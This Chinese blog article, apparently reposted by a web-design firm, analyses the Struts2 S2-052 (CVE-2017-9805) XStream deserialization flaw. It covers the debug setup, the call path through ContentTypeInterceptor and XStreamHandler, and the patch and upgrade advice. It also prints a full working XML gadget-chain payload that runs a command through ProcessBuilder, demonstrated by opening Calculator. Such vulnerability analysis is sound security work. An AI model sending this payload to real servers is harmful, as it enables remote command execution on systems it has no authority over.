Struts2-052漏洞示例分析

這篇文章將為大家詳細(xì)講解有關(guān)Struts2-052漏洞示例分析,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

創(chuàng)新互聯(lián)主營商南網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營網(wǎng)站建設(shè)方案,app軟件定制開發(fā),商南h5成都微信小程序搭建,商南網(wǎng)站營銷推廣歡迎商南等地區(qū)企業(yè)咨詢

前言

2017 年 9 月 5 日,由國外安全研究組織 lgtm.com 的安全研究人員發(fā)現(xiàn)的嚴(yán)重漏洞在Apache Struts 2官方發(fā)布,漏洞編號為 CVE-2017-9805(S2-052), 攻擊者可以傳入精心構(gòu)造的xml數(shù)據(jù),遠(yuǎn)程命令執(zhí)行。
Struts2 REST插件的XStream組件存在反序列化漏洞,使用XStream組件對XML格式的數(shù)據(jù)包進(jìn)行反序列化操作時,未對數(shù)據(jù)內(nèi)容進(jìn)行有效驗證,存在安全隱患,可被遠(yuǎn)程命令執(zhí)行。
利用條件:使用 REST 插件并在受影響版本范圍內(nèi)。
利用方式:攻擊者構(gòu)建惡意數(shù)據(jù)包遠(yuǎn)程利用。
影響版本:Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

調(diào)試環(huán)境搭建

1)下載官方源碼:
git clone https://github.com/apache/Struts.git
2)切換到2.5.12分支:
git checkout STRUTS_2_5_12
3) 把源碼包中src/apps/rest-showcase整個文件夾拷貝出來,新建一個項目
4)用IDEA或者eclipse導(dǎo)入該maven項目
5) debug模式運行后就可以愉快的調(diào)試了
Struts2-052漏洞示例分析

漏洞原理分析

根據(jù)官方公告知道該漏洞出現(xiàn)在 XstreamHandler 類,在 struts2-rest-plugin-2.5.12.jar 包內(nèi)。
于是查看該類,該類中有一個toObject方法,其作用就是對xml內(nèi)容進(jìn)行反序列化。
Struts2-052漏洞示例分析
先在此方法內(nèi)打一個斷點,然后構(gòu)造數(shù)據(jù)包
Struts2-052漏洞示例分析
發(fā)送數(shù)據(jù)包后,會跳到斷點處,此時,看到是上層調(diào)用棧中是ContentTypeInterceptor調(diào)用了該方法
Struts2-052漏洞示例分析
ContentTypeInterceptor類中intercept方法會根據(jù)傳入的Content-Type的值生成相應(yīng)的對象,由于我們傳入的是application/xml,所以對應(yīng)生成一個xml的處理對象XStreamHandler。
繼續(xù)f5,看到執(zhí)行反序列化的函數(shù)unmarshal,在這個函數(shù)執(zhí)行時沒有進(jìn)行數(shù)據(jù)安全檢查,導(dǎo)致遠(yuǎn)程命令執(zhí)行。
Struts2-052漏洞示例分析
接著進(jìn)入unmarshal函數(shù)內(nèi),繼續(xù)往下調(diào)試,AbstractReflectionConverter會一步步解析我們提交的xml標(biāo)簽和值,最終調(diào)用poc中代碼
Struts2-052漏洞示例分析

漏洞復(fù)現(xiàn)

在頁面http://localhost:8080//struts2-rest-showcase/orders/3/edit中點擊Submit,
Struts2-052漏洞示例分析
攔截HTTP請求并將請求體改為POC Payload,同時將Content-Type Header改為application/xml。
payload為:

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.NativeString> 
      <flags>0</flags>  
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 
        <dataHandler> 
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> 
            <is class="javax.crypto.CipherInputStream"> 
              <cipher class="javax.crypto.NullCipher"> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceIterator class="javax.imageio.spi.FilterIterator"> 
                  <iter class="javax.imageio.spi.FilterIterator"> 
                    <iter class="java.util.Collections$EmptyIterator"/>  
                    <next class="java.lang.ProcessBuilder"> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirectErrorStream>false</redirectErrorStream> 
                    </next> 
                  </iter>  
                  <filter class="javax.imageio.ImageIO$ContainsFilter"> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types/> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next class="string">foo</next> 
                </serviceIterator>  
                <lock/> 
              </cipher>  
              <input class="java.lang.ProcessBuilder$NullInputStream"/>  
              <ibuffer/>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </dataSource>  
          <transferFlavors/> 
        </dataHandler>  
        <dataLen>0</dataLen> 
      </value> 
    </jdk.nashorn.internal.objects.NativeString>  
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
  </entry> 
</map>

發(fā)送請求后,彈出計算器
Struts2-052漏洞示例分析

補(bǔ)丁

官方補(bǔ)丁,官方的修復(fù)方案中, 主要就是將 xml 中的數(shù)據(jù)白名單化,把 Collection 和 Map,一些基礎(chǔ)類,時間類放在白名單中,這樣就能阻止 XStream 反序列化的過程中帶入一些有害類Struts2-052漏洞示例分析

修復(fù)建議

Version 2.3.0 to 2.3.33升級到Struts 2.3.34版本
Version 2.5.0 to 2.5.12升級到Struts 2.5.13版本

關(guān)于Struts2-052漏洞示例分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

文章標(biāo)題:Struts2-052漏洞示例分析
當(dāng)前地址:http://muchs.cn/article24/ihgpje.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供外貿(mào)網(wǎng)站建設(shè)做網(wǎng)站、電子商務(wù)企業(yè)網(wǎng)站制作、網(wǎng)站收錄手機(jī)網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

h5響應(yīng)式網(wǎng)站建設(shè)